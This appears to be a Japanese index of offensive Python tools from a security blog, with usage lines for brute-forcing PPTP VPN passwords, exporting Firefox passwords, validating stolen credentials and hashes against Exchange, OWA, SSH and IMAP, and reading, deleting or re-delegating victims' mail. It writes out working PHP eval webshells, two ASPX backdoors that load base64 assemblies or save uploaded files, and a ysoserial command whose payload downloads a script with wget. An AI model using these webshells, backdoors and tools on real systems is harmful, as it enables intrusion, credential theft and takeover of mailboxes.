
私のブログのPythonコード。
私のブログのPythonコード。
ブルートフォース攻撃を使用してPPTP VPNのパスワードを取得します。
ファイル(wordlistという名前)からパスワードを読み取り、pptpsetupを使用してサーバーに接続します。
時間間隔は10秒です。
ポートのスキャンに使用します。
タイムアウトは3秒です。
c++バージョン:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
URLからIPを取得するために使用します。
Sublist3rの結果を直接使用できます。
Sublist3rの結果から重複したIPを削除するために使用します。
urltoip.pyの結果を直接使用できます。
Sublime(F9)を使用してIPを並べ替えることができます。
ファイルから重複項目を削除するために使用します。
参考:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
fofaのAPIを呼び出し、結果からIPを出力するために使用します。
100件の結果を取得できます。
fofaのAPIを呼び出し、結果からIPを出力するために使用します。
VIPの場合、10000件の結果を取得できます。
参考:
https://seclists.org/fulldisclosure/2019/Sep/31
例:
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
参考:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
例:
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Firefoxのパスワードをエクスポートするために使用します
Exchangeのバージョンを取得するために使用します。
まず、URLのソースコードからBuildNumberを取得し、次にバージョンを取得します。
参考:
SMBv3 RCEの脆弱性をスキャンするために使用します。
タイムアウトは3秒です。
参考:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
DrayTek Vigor2960 1.3.1_Beta、Vigor3900 1.4.4_Beta、およびVigor300B 1.3.3_Beta、1.4.2.1_Beta、1.4.4_Betaデバイスは、cgi-bin/mainfunction.cgi URIへのシェルメタ文字を介して、(認証なしで)rootとしてリモートコード実行を許可します。
影響を受ける製品:
Zimbra SOAP APIを使用してZimbraメールサーバーに接続します。
使用方法:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
モード:
例:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Exchange Web Serviceの有効なアカウントを確認するために使用します(プレーンテキストとntlmhashに対応)
参考:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
使用方法:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
例:
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Autodiscover.xmlにアクセスしてユーザーの構成を取得するために使用します(プレーンテキストとntlmhashに対応)
使用方法:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
例:
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
checkAutodiscover.pyの追加モード
パラメータを追加します
Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)
使用方法:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
例:
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
SSHの有効な資格情報を確認するために使用します(パスワードと秘密鍵ファイルに対応)
使用方法:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
例:
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
SSHを介したリモートコマンド実行(パスワードと秘密鍵ファイルに対応)
使用方法:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
例:
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
eas(Exchange Server ActiveSync)の有効な資格情報を確認するために使用します
使用方法:
easCheck.py <host> <user> <password>
例:
easCheck.py 192.168.1.1 user1 password1
OWAに接続してExchangeの有効なアカウントを確認するために使用します。
使用方法:
checkOWA.py <url> <user> <password>
OWAに接続してメールを読むために使用します。
使用方法:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
IMAPを使用してメールサーバーに接続します。
使用方法:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
execCmd.aspx との通信にNTLM認証を実装するために使用します
通信データはBase64でエンコードされます
使用方法:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
C#バージョン:SharpExchangeBackdoor.cs
Exchangeのwebshellバックドアにペイロードを送信するために使用します。
対応:
使用方法:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
例:
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
安全でないオブジェクトのデシリアライゼーション - IMAP
使用方法:
<url> <user> <password> <payload path>
例:
https://192.168.1.1 [email protected] password1 payload.obj
注意:
payload.objは次のように生成できます:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj